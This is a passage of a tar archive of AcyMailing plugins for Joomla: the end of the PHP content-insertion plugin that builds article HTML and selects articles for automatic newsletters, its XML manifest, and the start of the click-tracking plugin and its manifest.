					$style = 'float:'.$images->$floatVar.';padding-'.(($images->$floatVar == 'right') ? 'left' : 'right').':10px;padding-bottom:10px;';
					if(!empty($tag->link) && empty($tag->nopictlink)) $picthtml .= '<a target="_blank" href="'.$link.'" style="text-decoration:none" >';
					$alt = '';
					$altVar = $pictVar.'_alt';
					if(!empty($images->$altVar)) $alt = $images->$altVar;
					$picthtml .= '<img'.(empty($tag->nopictstyle) ? ' style="'.$style.'"' : '').' alt="'.$alt.'" border="0" src="'.acymailing_rootURI().$images->$pictVar.'" />';
					$pictPath = acymailing_rootURI().$images->$pictVar;
					if(!empty($tag->link) && empty($tag->nopictlink)) $picthtml .= '</a>';
					$varFields['{picthtml}'] = $picthtml;
				}
			}

			$contentText = preg_replace('/^\s*(<img[^>]*>)\s*(?:<br[^>]*>\s*)*/i', '$1', $contentText);

			if(file_exists(JPATH_SITE.DS.'plugins'.DS.'attachments') && empty($tag->noattach)){
				try{
					$query = 'SELECT display_name, url, filename '.'FROM #__attachments '.'WHERE (parent_entity = "article" '.'AND parent_id = '.intval($tag->id).')';
					if(ACYMAILING_J16){
						$query .= ' OR (parent_entity = "category" '.'AND parent_id = '.intval($article->catid).')';
					}
					$this->db->setQuery($query);
					$attachments = $this->db->loadObjectList();
				}catch(Exception $e){
					$attachments = array();
				}

				if(!empty($attachments)){
					$afterArticle .= '<br />'.acymailing_translation('ATTACHED_FILES').' :';
					foreach($attachments as $oneAttachment){
						$afterArticle .= '<br /><a target="_blank" href="'.$oneAttachment->url.'">'.(empty($oneAttachment->display_name) ? $oneAttachment->filename : $oneAttachment->display_name).'</a>';
					}
				}
			}

			if(!empty($tag->share)){
				$links = array();
				$shareOpt = explode(',', $tag->share);
				foreach($shareOpt as $socialNetwork){
					$knownNetwork = true;
					$socialNetwork = strtolower(trim($socialNetwork));
					if($socialNetwork == 'facebook'){
						$linkShare = 'http://www.facebook.com/sharer.php?u='.urlencode($nonsefLink).'&t='.urlencode($article->title);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'facebook.png') ? 'media/com_acymailing/plugins/facebook.png' : 'media/com_acymailing/images/facebookshare.png');
						$altText = 'Facebook';
					}elseif($socialNetwork == 'twitter'){
						$text = acymailing_translation_sprintf('SHARE_TEXT', $nonsefLink);
						$linkShare = 'http://twitter.com/home?status='.urlencode($text);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'twitter.png') ? 'media/com_acymailing/plugins/twitter.png' : 'media/com_acymailing/images/twittershare.png');
						$altText = 'Twitter';
					}elseif($socialNetwork == 'linkedin'){
						$linkShare = 'http://www.linkedin.com/shareArticle?mini=true&url='.urlencode($nonsefLink).'&title='.urlencode($article->title);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'linkedin.png') ? 'media/com_acymailing/plugins/linkedin.png' : 'media/com_acymailing/images/linkedin.png');
						$altText = 'LinkedIn';
					}elseif($socialNetwork == 'google'){
						$linkShare = 'https://plus.google.com/share?url='.urlencode($nonsefLink);
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'google.png') ? 'media/com_acymailing/plugins/google.png' : 'media/com_acymailing/images/google_plusshare.png');
						$altText = 'Google+';
					}elseif($socialNetwork == 'mailto'){
						$linkShare = 'mailto:?subject='.urlencode($article->title).'&body='.urlencode($article->title.' ('.$nonsefLink.')');
						$picSrc = (file_exists(ACYMAILING_MEDIA.'plugins'.DS.'mailto.png') ? 'media/com_acymailing/plugins/mailto.png' : 'media/com_acymailing/images/mailto.png');
						$altText = 'MailTo';
					}else{
						$knownNetwork = false;
						acymailing_display('Network not found: '.$socialNetwork.'. Availables networks are facebook, twitter, linkedin, google and mailto.', 'warning');
					}
					if($knownNetwork){
						array_push($links, '<a target="_blank" href="'.$linkShare.'" title="'.acymailing_translation_sprintf('SOCIAL_SHARE', $altText).'"><img alt="'.$altText.'" src="'.$picSrc.'" /></a>');
					}
				}
				$afterArticle .= '<br />'.(!empty($tag->sharetxt) ? $tag->sharetxt.' ' : '').implode(' ', $links);
			}
		}

		if(!empty($tag->jtags) && version_compare(JVERSION, '3.1.0', '>=')){
			$this->db->setQuery('SELECT t.id, t.alias, t.title FROM #__tags AS t JOIN #__contentitem_tag_map AS m ON t.id = m.tag_id WHERE t.published = 1 AND m.type_alias = "com_content.article" AND m.content_item_id = '.intval($tag->id));
			$tags = $this->db->loadObjectList();
			if(!empty($tags)){
				$afterArticle .= '<br />';
				foreach($tags as $oneTag){
					$afterArticle .= ' <a target="_blank" href="index.php?option=com_tags&view=tag&id='.$oneTag->id.'-'.$oneTag->alias.'">'.$oneTag->title.'</a> ';
				}
			}
		}

		$readMoreText = empty($tag->readmore) ? $this->readmore : $tag->readmore;
		$varFields['{readmore}'] = '<a class="acymailing_readmore_link" style="text-decoration:none;" target="_blank" href="'.$link.'"><span class="acymailing_readmore">'.$readMoreText.'</span></a>';

		if($tag->type == "intro" && empty($tag->noreadmore) && (!empty($article->fulltext) || $forceReadMore)){
			if(!empty($afterArticle)) $afterArticle .= '<br />';
			$afterArticle .= $varFields['{readmore}'];
		}

		$format = new stdClass();
		$format->tag = $tag;
		$format->title = empty($tag->notitle) ? $article->title : '';
		$format->afterTitle = $afterTitle;
		$format->afterArticle = $afterArticle;
		$format->imagePath = $pictPath;
		$format->description = $contentText;
		$format->link = empty($tag->link) ? '' : $link;
		$format->cols = 2;
		$result = $this->acypluginsHelper->getStandardDisplay($format);

		if(!empty($tag->theme)){
			if(preg_match('#<img[^>]*>#Uis', $article->introtext.$article->fulltext, $pregresult)){
				$cleanContent = strip_tags($result, '<p><br><span><ul><li><h1><h2><h3><h4><a>');
				$tdwidth = (empty($tag->maxwidth) ? $this->params->get('maxwidth', 150) : $tag->maxwidth) + 20;
				$result = '<table cellspacing="0" width="500" cellpadding="0" border="0" ><tr><td class="contentpicture" width="'.$tdwidth.'" valign="top" align="center"><a href="'.$link.'" target="_blank" style="border:0px;text-decoration:none">'.$pregresult[0].'</a></td><td class="contenttext">'.$cleanContent.'</td></tr></table>';
			}
		}

		if($tag->type != 'title') $result = '<div class="acymailing_content">'.$result.'</div>';

		if(!(empty($tag->cattitle) && empty($tag->catpict)) && ((!strpos($article->catid, ',') && $this->currentcatid != $article->catid) || (strpos($article->catid, ',') && !in_array($this->currentcatid, explode(',', $article->catid))))){
			if(strpos($article->catid, ',')){
				$catids = explode(',', $article->catid);
				$this->currentcatid = $catids[0];
			}else{
				$this->currentcatid = $article->catid;
			}

			if(ACYMAILING_J16){
				$params = json_decode($article->catparams);
				$article->catpict = $params->image;
			}

			$resultTitle = $article->cattitle;

			if(!empty($tag->catpict) && !empty($article->catpict)){
				$style = '';
				if(!empty($tag->catmaxwidth)) $style .= 'max-width:'.intval($tag->catmaxwidth).'px;';
				if(!empty($tag->catmaxheight)) $style .= 'max-height:'.intval($tag->catmaxheight).'px;';
				$resultTitle = '<img'.(empty($style) ? '' : ' style="'.$style.'"').' alt="" src="'.$article->catpict.'" />';
				if(!empty($tag->cattitlelink)) $resultTitle = '<a target="_blank" href="index.php?option=com_content&view=category&id='.$this->currentcatid.'">'.$resultTitle.'</a>';
			}else{
				if(!empty($tag->cattitlelink)) $resultTitle = '<a target="_blank" href="index.php?option=com_content&view=category&id='.$this->currentcatid.'">'.$resultTitle.'</a>';
				$resultTitle = '<h3 class="cattitle">'.$resultTitle.'</h3>';
			}

			$result = $resultTitle.$result;
		}

		if($oldFormat){
			if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent_html.php')){
				ob_start();
				require(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent_html.php');
				$result = ob_get_clean();
			}elseif(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent.php')){
				ob_start();
				require(ACYMAILING_MEDIA.'plugins'.DS.'tagcontent.php');
				$result = ob_get_clean();
			}
		}elseif(!empty($tag->template) && file_exists(ACYMAILING_MEDIA.'plugins'.DS.$tag->template)){
			ob_start();
			require(ACYMAILING_MEDIA.'plugins'.DS.$tag->template);
			$result = ob_get_clean();
		}
		$result = str_replace(array_keys($varFields), $varFields, $result);

		$result = $this->acypluginsHelper->removeJS($result);
		$result = $this->acypluginsHelper->replaceVideos($result);

		$tag->maxheight = empty($tag->maxheight) ? $this->params->get('maxheight', 150) : $tag->maxheight;
		$tag->maxwidth = empty($tag->maxwidth) ? $this->params->get('maxwidth', 150) : $tag->maxwidth;
		$result = $this->acypluginsHelper->managePicts($tag, $result);

		if(!empty($tag->maxchar) && strlen(strip_tags($result)) > $tag->maxchar){
			$result = strip_tags($result);
			for($i = $tag->maxchar; $i > 0; $i--){
				if($result[$i] == ' ') break;
			}
			if(!empty($i)) $result = substr($result, 0, $i).@$tag->textafter;
		}

		return $result;
	}

	private function _replaceAuto(&$email){
		$this->acymailing_generateautonews($email);
		if(empty($this->tags)) return;
		$this->acypluginsHelper->replaceTags($email, $this->tags, true);
	}

	public function acymailing_generateautonews(&$email){
		$time = time();

		$tags = $this->acypluginsHelper->extractTags($email, 'autocontent');
		$return = new stdClass();
		$return->status = true;
		$return->message = '';
		$this->tags = array();

		if(empty($tags)) return $return;

		foreach($tags as $oneTag => $parameter){
			if(isset($this->tags[$oneTag])) continue;
			$allcats = explode('-', $parameter->id);
			$selectedArea = array();
			foreach($allcats as $oneCat){
				if(!ACYMAILING_J16){
					$sectype = substr($oneCat, 0, 3);
					$num = substr($oneCat, 3);
					if(empty($num)) continue;
					if($sectype == 'cat'){
						$selectedArea[] = 'catid = '.(int)$num;
					}elseif($sectype == 'sec'){
						$selectedArea[] = 'sectionid = '.(int)$num;
					}
				}else{
					if(empty($oneCat)) continue;
					$selectedArea[] = intval($oneCat);
				}
			}

			$query = 'SELECT a.id FROM `#__content` as a ';
			$where = array();

			if(!empty($parameter->tags) && version_compare(JVERSION, '3.1.0', '>=')){
				$tagsArray = explode(',', $parameter->tags);
				acymailing_arrayToInteger($tagsArray);
				if(!empty($tagsArray)){
					foreach($tagsArray as $oneTagId){
						$query .= 'JOIN #__contentitem_tag_map AS tagsmap'.$oneTagId.' ON (a.id = tagsmap'.$oneTagId.'.content_item_id AND tagsmap'.$oneTagId.'.type_alias LIKE "com_content.article" AND tagsmap'.$oneTagId.'.tag_id = '.$oneTagId.') ';
					}
				}
			}

			if(!empty($parameter->featured)){
				if(ACYMAILING_J16){
					$where[] = 'a.featured = 1';
				}else{
					$query .= 'JOIN `#__content_frontpage` as b ON a.id = b.content_id ';
					$where[] = 'b.content_id IS NOT NULL';
				}
			}

			if(!empty($parameter->nofeatured)){
				if(ACYMAILING_J16){
					$where[] = 'a.featured = 0';
				}else{
					$query .= 'LEFT JOIN `#__content_frontpage` as b ON a.id = b.content_id ';
					$where[] = 'b.content_id IS NULL';
				}
			}

			if(ACYMAILING_J16 && !empty($parameter->subcats) && !empty($selectedArea)){
				$this->db->setQuery('SELECT lft,rgt FROM #__categories WHERE id IN ('.implode(',', $selectedArea).')');
				$catinfos = $this->db->loadObjectList();
				if(!empty($catinfos)){
					$whereCats = array();
					foreach($catinfos as $onecat){
						$whereCats[] = 'lft > '.$onecat->lft.' AND rgt < '.$onecat->rgt;
					}
					$this->db->setQuery('SELECT id FROM #__categories WHERE ('.implode(') OR (', $whereCats).')');
					$othercats = acymailing_loadResultArray($this->db);
					$selectedArea = array_merge($selectedArea, $othercats);
				}
			}

			if(!empty($selectedArea)){
				if(!ACYMAILING_J16){
					$where[] = implode(' OR ', $selectedArea);
				}else{
					$filter_cat = '`catid` IN ('.implode(',', $selectedArea).')';
					if(file_exists(JPATH_SITE.DS.'components'.DS.'com_multicats')){
						$filter_cat = '`catid` REGEXP "^([0-9]+,)*'.implode('(,[0-9]+)*$" OR `catid` REGEXP "^([0-9]+,)*', $selectedArea).'(,[0-9]+)*$"';
					}
					$where[] = $filter_cat;
				}
			}

			if(!empty($parameter->excludedcats)){
				$excludedCats = explode('-', $parameter->excludedcats);
				acymailing_arrayToInteger($excludedCats);
				$filter_cat = '`catid` NOT IN ("'.implode('","', $excludedCats).'")';
				if(file_exists(JPATH_SITE.DS.'components'.DS.'com_multicats')){
					$filter_cat = '`catid` NOT REGEXP "^([0-9]+,)*'.implode('(,[0-9]+)*$" AND `catid` NOT REGEXP "^([0-9]+,)*', $excludedCats).'(,[0-9]+)*$"';
				}
				$where[] = $filter_cat;
			}

			if(!empty($parameter->filter) && !empty($email->params['lastgenerateddate'])){
				$condition = '(`publish_up` > \''.date('Y-m-d H:i:s', $email->params['lastgenerateddate'] - date('Z')).'\' AND `publish_up` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\')';
				$condition .= ' OR (`created` > \''.date('Y-m-d H:i:s', $email->params['lastgenerateddate'] - date('Z')).'\' AND `created` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\')';
				if($parameter->filter == 'modify'){
					$modify = '(`modified` > \''.date('Y-m-d H:i:s', $email->params['lastgenerateddate'] - date('Z')).'\' AND `modified` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\')';
					if(!empty($parameter->maxpublished)) $modify = '('.$modify.' AND `publish_up` > \''.date('Y-m-d H:i:s', time() - date('Z') - ((int)$parameter->maxpublished * 60 * 60 * 24)).'\')';
					$condition .= ' OR '.$modify;
				}

				$where[] = $condition;
			}

			if(!empty($parameter->maxcreated)){
				$date = $parameter->maxcreated;
				if(strpos($parameter->maxcreated, '[time]') !== false) $date = acymailing_replaceDate(str_replace('[time]', '{time}', $parameter->maxcreated));
				if(!is_numeric($date)) $date = strtotime($parameter->maxcreated);
				if(empty($date)){
					acymailing_display('Wrong date format ('.$parameter->maxcreated.' in '.$oneTag.'), please use YYYY-MM-DD', 'warning');
				}
				$where[] = '`created` < '.$this->db->Quote(date('Y-m-d H:i:s', $date)).' OR `publish_up` < '.$this->db->Quote(date('Y-m-d H:i:s', $date));
			}else{
				$where[] = '`publish_up` < \''.date('Y-m-d H:i:s', $time - date('Z')).'\'';
			}

			if(!empty($parameter->mincreated)){
				$date = $parameter->mincreated;
				if(strpos($parameter->mincreated, '[time]') !== false) $date = acymailing_replaceDate(str_replace('[time]', '{time}', $parameter->mincreated));
				if(!is_numeric($date)) $date = strtotime($parameter->mincreated);
				if(empty($date)){
					acymailing_display('Wrong date format ('.$parameter->mincreated.' in '.$oneTag.'), please use YYYY-MM-DD', 'warning');
				}
				$where[] = '`created` > '.$this->db->Quote(date('Y-m-d H:i:s', $date)).' OR `publish_up` > '.$this->db->Quote(date('Y-m-d H:i:s', $date));
			}


			if(!empty($parameter->meta)){
				$allMetaTags = explode(',', $parameter->meta);
				$metaWhere = array();
				foreach($allMetaTags as $oneMeta){
					if(empty($oneMeta)) continue;
					$metaWhere[] = "`metakey` LIKE '%".acymailing_getEscaped($oneMeta, true)."%'";
				}
				if(!empty($metaWhere)) $where[] = implode(' OR ', $metaWhere);
			}

			$where[] = '`publish_down` > \''.date('Y-m-d H:i:s', $time - date('Z')).'\' OR `publish_down` = 0';
			if(empty($parameter->unpublished)){
				$where[] = 'state = 1';
			}else{
				$where[] = 'state = 0';
			}

			if(!ACYMAILING_J16){
				if(isset($parameter->access)){
					$where[] = 'access <= '.intval($parameter->access);
				}else{
					if($this->params->get('contentaccess', 'registered') == 'registered'){
						$where[] = 'access <= 1';
					}elseif($this->params->get('contentaccess', 'registered') == 'public') $where[] = 'access = 0';
				}
			}elseif(isset($parameter->access)){
				if(strpos($parameter->access, ',')){
					$allAccess = explode(',', $parameter->access);
					acymailing_arrayToInteger($allAccess);
					$where[] = 'access IN ('.implode(',', $allAccess).')';
				}else{
					$where[] = 'access = '.intval($parameter->access);
				}
			}

			if(ACYMAILING_J16 && !empty($parameter->language)){
				$allLanguages = explode(',', $parameter->language);
				$langWhere = 'language IN (';
				foreach($allLanguages as $oneLanguage){
					$langWhere .= $this->db->Quote(trim($oneLanguage)).',';
				}
				$where[] = trim($langWhere, ',').')';
			}

			$query .= ' WHERE ('.implode(') AND (', $where).')';
			if(!empty($parameter->order)){
				$ordering = explode(',', $parameter->order);
				if($ordering[0] == 'rand'){
					$query .= ' ORDER BY rand()';
				}else{
					$query .= ' ORDER BY `'.acymailing_secureField($ordering[0]).'` '.acymailing_secureField($ordering[1]).' , a.`id` DESC';
				}
			}

			$start = '';
			if(!empty($parameter->start)) $start = intval($parameter->start).',';

			if(empty($parameter->max)) $parameter->max = 100;

			$query .= ' LIMIT '.$start.(int)$parameter->max;

			$this->db->setQuery($query);
			$allArticles = acymailing_loadResultArray($this->db);

			if(!empty($parameter->min) && count($allArticles) < $parameter->min){
				$return->status = false;
				$return->message = 'Not enough articles for the tag '.$oneTag.' : '.count($allArticles).' / '.$parameter->min.' between '.acymailing_getDate($email->params['lastgenerateddate']).' and '.acymailing_getDate($time);
			}

			$stringTag = empty($parameter->noentrytext) ? '' : $parameter->noentrytext;
			if(!empty($allArticles)){
				if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'autocontent.php')){
					ob_start();
					require(ACYMAILING_MEDIA.'plugins'.DS.'autocontent.php');
					$stringTag = ob_get_clean();
				}else{
					$arrayElements = array();
					$numArticle = 1;
					foreach($allArticles as $oneArticleId){
						$args = array();
						$args[] = 'joomlacontent:'.$oneArticleId;
						$args[] = 'num:'.$numArticle++;
						if(!empty($parameter->invert) && $numArticle % 2 == 1) $args[] = 'invert';
						if(!empty($parameter->type)) $args[] = 'type:'.$parameter->type;
						if(!empty($parameter->format)) $args[] = 'format:'.$parameter->format;
						if(!empty($parameter->template)) $args[] = 'template:'.$parameter->template;
						if(!empty($parameter->jtags)) $args[] = 'jtags';
						if(!empty($parameter->link)) $args[] = 'link';
						if(!empty($parameter->author)) $args[] = 'author';
						if(!empty($parameter->autologin)) $args[] = 'autologin';
						if(!empty($parameter->cattitle)) $args[] = 'cattitle';
						if(!empty($parameter->cattitlelink)) $args[] = 'cattitlelink';
						if(!empty($parameter->lang)) $args[] = 'lang:'.$parameter->lang;
						if(!empty($parameter->theme)) $args[] = 'theme';
						if(!empty($parameter->clean)) $args[] = 'clean';
						if(!empty($parameter->notitle)) $args[] = 'notitle';
						if(!empty($parameter->nopictstyle)) $args[] = 'nopictstyle';
						if(!empty($parameter->nopictlink)) $args[] = 'nopictlink';
						if(!empty($parameter->created)) $args[] = 'created';
						if(!empty($parameter->noattach)) $args[] = 'noattach';
						if(!empty($parameter->itemid)) $args[] = 'itemid:'.$parameter->itemid;
						if(!empty($parameter->noreadmore)) $args[] = 'noreadmore';
						if(isset($parameter->pict)) $args[] = 'pict:'.$parameter->pict;
						if(!empty($parameter->wrap)) $args[] = 'wrap:'.$parameter->wrap;
						if(!empty($parameter->maxwidth)) $args[] = 'maxwidth:'.$parameter->maxwidth;
						if(!empty($parameter->maxheight)) $args[] = 'maxheight:'.$parameter->maxheight;
						if(!empty($parameter->readmore)) $args[] = 'readmore:'.$parameter->readmore;
						if(!empty($parameter->dateformat)) $args[] = 'dateformat:'.$parameter->dateformat;
						if(!empty($parameter->textafter)) $args[] = 'textafter:'.$parameter->textafter;
						if(!empty($parameter->maxchar)) $args[] = 'maxchar:'.$parameter->maxchar;
						if(!empty($parameter->share)) $args[] = 'share:'.$parameter->share;
						if(!empty($parameter->sharetxt)) $args[] = 'sharetxt:'.$parameter->sharetxt;
						if(!empty($parameter->catpict)) $args[] = 'catpict';
						if(!empty($parameter->catmaxwidth)) $args[] = 'catmaxwidth:'.$parameter->catmaxwidth;
						if(!empty($parameter->catmaxheight)) $args[] = 'catmaxheight:'.$parameter->catmaxheight;
						if(!empty($parameter->nomainimage)) $args[] = 'nomainimage';
						$arrayElements[] = '{'.implode('|', $args).'}';
					}
					$stringTag = $this->acypluginsHelper->getFormattedResult($arrayElements, $parameter);
				}
			}
			$this->tags[$oneTag] = $stringTag;
		}

		return $return;
	}
}//endclass
                              acymailing/tagcontent/tagcontent.xml                                                                0000705                 00000020433 15242051520 0013713 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : content insertion</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This AcyMailing plugin enables you to include Joomla Articles in any e-mail sent by AcyMailing</description>
	<files>
		<filename plugin="tagcontent">tagcontent.php</filename>
		<filename>tagcontent.xml</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagcontent"/>
		<param name="customtemplate" type="customtemplate" label="Custom template" description="Click on the Custom template button to create a custom layout that will override the default view" default="tagcontent"/>
		<param name="displayart" type="radio" default="all" label="Display articles" description="Select if you want to display all articles in the popup for article selection or only published articles">
			<option value="all">All articles</option>
			<option value="onlypub">Only published articles</option>
		</param>
		<param name="contentaccess" type="radio" default="registered" label="Content Access" description="If you use the automatic article insertion (via the categories tab), AcyMailing will only include articles having the selected access in your Newsletter">
			<option value="public">Public only</option>
			<option value="registered">Public and Registered</option>
			<option value="all">All</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="Using AcyMailing Enterprise, you can restrict the access to this tag system">
			<option value="all">Display all articles</option>
			<option value="author">Display only author's articles</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
		<param name="metaselect" type="radio" default="0" label="Select articles by meta tags" description="Do you want to display an interface on the content category insertion to filter articles by meta tags? Meta tags must be separated by a comma.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="integration" type="radio" default="0" label="Act for another component" description="Some Joomla components use the content table to store their articles. This option enables you to make sure Acy will act for this third part component and not for the default Joomla content system" >
			<option value="0">Joomla content</option>
			<option value="jreviews">jReviews</option>
			<option value="flexicontent">FlexiContent</option>
			<option value="jaggyblog">JaggyBlog</option>
		</param>
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="default_type" type="radio" default="intro" label="DISPLAY" description="FIELD_DEFAULT">
			<option value="title">TITLE_ONLY</option>
			<option value="intro">INTRO_ONLY</option>
			<option value="text">FIELD_TEXT</option>
			<option value="full">FULL_TEXT</option>
		</param>
		<param name="wordwrap" type="text" size="10" default="0" label="Intro Word Wrapping" description="If you insert only the introduction and you didn't insert the read more link, AcyMailing will only load the first XX characters of your content. If you specify 0, AcyMailing won't wrap your content" />
		<param name="default_titlelink" type="radio" default="link" label="CLICKABLE_TITLE" description="FIELD_DEFAULT">
			<option value="link">JOOMEXT_YES</option>
			<option value="0">JOOMEXT_NO</option>
		</param>
		<param name="default_author" type="radio" default="0" label="AUTHOR_NAME" description="FIELD_DEFAULT">
			<option value="author">JOOMEXT_YES</option>
			<option value="0">JOOMEXT_NO</option>
		</param>
		<param name="default_pict" type="radio" default="1" label="DISPLAY_PICTURES" description="FIELD_DEFAULT">
			<option value="1">JOOMEXT_YES</option>
			<option value="resized">RESIZED</option>
			<option value="0">JOOMEXT_NO</option>
		</param>
		<param name="maxwidth" type="text" size="10" default="150" label="Max picture width" description="FIELD_DEFAULT" />
		<param name="maxheight" type="text" size="10" default="150" label="Max picture height" description="FIELD_DEFAULT" />

	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagcontent"/>
				<field name="customtemplate" type="customtemplate" label="Custom template" description="Click on the Custom template button to create a custom layout that will override the default view" default="tagcontent"/>
				<field name="displayart" type="radio" default="all" label="Display articles" description="Select if you want to display all articles in the popup for article selection or only published articles">
					<option value="all">All articles</option>
					<option value="onlypub">Only published articles</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="Using AcyMailing Enterprise, you can restrict the access to this tag system">
					<option value="all">Display all articles</option>
					<option value="author">Display only author's articles</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
				<field name="metaselect" type="radio" default="0" label="Select articles by meta tags" description="Do you want to display an interface on the content category insertion to filter articles by meta tags? Meta tags must be separated by a comma.">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="integration" type="radio" default="0" label="Act for another component" description="Some Joomla components use the content table to store their articles. This option enables you to make sure Acy will act for this third part component and not for the default Joomla content system" >
					<option value="0">Joomla content</option>
					<option value="jreviews">jReviews</option>
					<option value="flexicontent">FlexiContent</option>
					<option value="jaggyblog">JaggyBlog</option>
				</field>
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="default_type" type="radio" default="intro" label="DISPLAY" description="FIELD_DEFAULT">
					<option value="title">TITLE_ONLY</option>
					<option value="intro">INTRO_ONLY</option>
					<option value="text">FIELD_TEXT</option>
					<option value="full">FULL_TEXT</option>
				</field>
				<field name="wordwrap" type="text" size="10" default="0" label="Intro Word Wrapping" description="If you insert only the introduction and you didn't insert the read more link, AcyMailing will only load the first XX characters of your content. If you specify 0, AcyMailing won't wrap your content" />
				<field name="default_titlelink" type="radio" default="link" label="CLICKABLE_TITLE" description="FIELD_DEFAULT">
					<option value="link">JOOMEXT_YES</option>
					<option value="0">JOOMEXT_NO</option>
				</field>
				<field name="default_author" type="radio" default="" label="AUTHOR_NAME" description="FIELD_DEFAULT">
					<option value="author">JOOMEXT_YES</option>
					<option value="">JOOMEXT_NO</option>
				</field>
				<field name="default_pict" type="radio" default="1" label="DISPLAY_PICTURES" description="FIELD_DEFAULT">
					<option value="1">JOOMEXT_YES</option>
					<option value="resized">RESIZED</option>
					<option value="0">JOOMEXT_NO</option>
				</field>
				<field name="maxwidth" type="text" size="10" default="150" label="Max picture width" description="FIELD_DEFAULT" />
				<field name="maxheight" type="text" size="10" default="150" label="Max picture height" description="FIELD_DEFAULT" />
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                     acymailing/tagcontent/index.html                                                                    0000705                 00000000054 15242051520 0013015 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/urltracker/urltracker.xml                                                                0000705                 00000003270 15242051520 0013733 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing : Handle Click tracking</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to turn ON the url tracking capability</description>
	<files>
		<filename plugin="urltracker">urltracker.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-urltracker"/>
		<param name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the url tracker filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-urltracker"/>
				<field name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the url tracker filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                                                                                                                                                                                                        acymailing/urltracker/urltracker.php                                                                0000705                 00000020542 15242051520 0013723 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingUrltracker extends JPlugin{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'urltracker');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){

		if(empty($user->subid) || empty($email->type) || !in_array($email->type, array('news', 'autonews', 'followup', 'welcome', 'unsub', 'joomlanotification', 'action')) || !acymailing_level(1)) return;

		$urlClass = acymailing_get('class.url');
		if($urlClass === null) return;

		$urls = array();

		$config = acymailing_config();
		$trackingSystemExternalWebsite = $config->get('trackingsystemexternalwebsite', 1);
		preg_match_all('#href[ ]*=[ ]*"(?!mailto:|\#|ymsgr:|callto:|file:|ftp:|webcal:|skype:|tel:)([^"]+)"#Ui', $email->body.$email->altbody, $results);
		preg_match_all('#\( ([^)]+) \)#Ui', $email->body.$email->altbody, $results2);
		if(!empty($results2)){
			foreach($results2[1] as $i => $oneLink){
				if(strpos($oneLink, 'http') === 0 || strpos($oneLink, 'www') === 0){
					$results[0][] = $results2[0][$i];
					$results[1][] = $results2[1][$i];
				}
			}
		}

		if(empty($results)) return;

		foreach($results[1] as $i => $url){
			if(isset($urls[$results[0][$i]]) || strpos($url, 'task=out')) continue;

			$simplifiedUrl = str_replace(array('https://', 'http://', 'www.'), '', $url);
			$simplifiedWebsite = str_replace(array('https://', 'http://', 'www.'), '', ACYMAILING_LIVE);
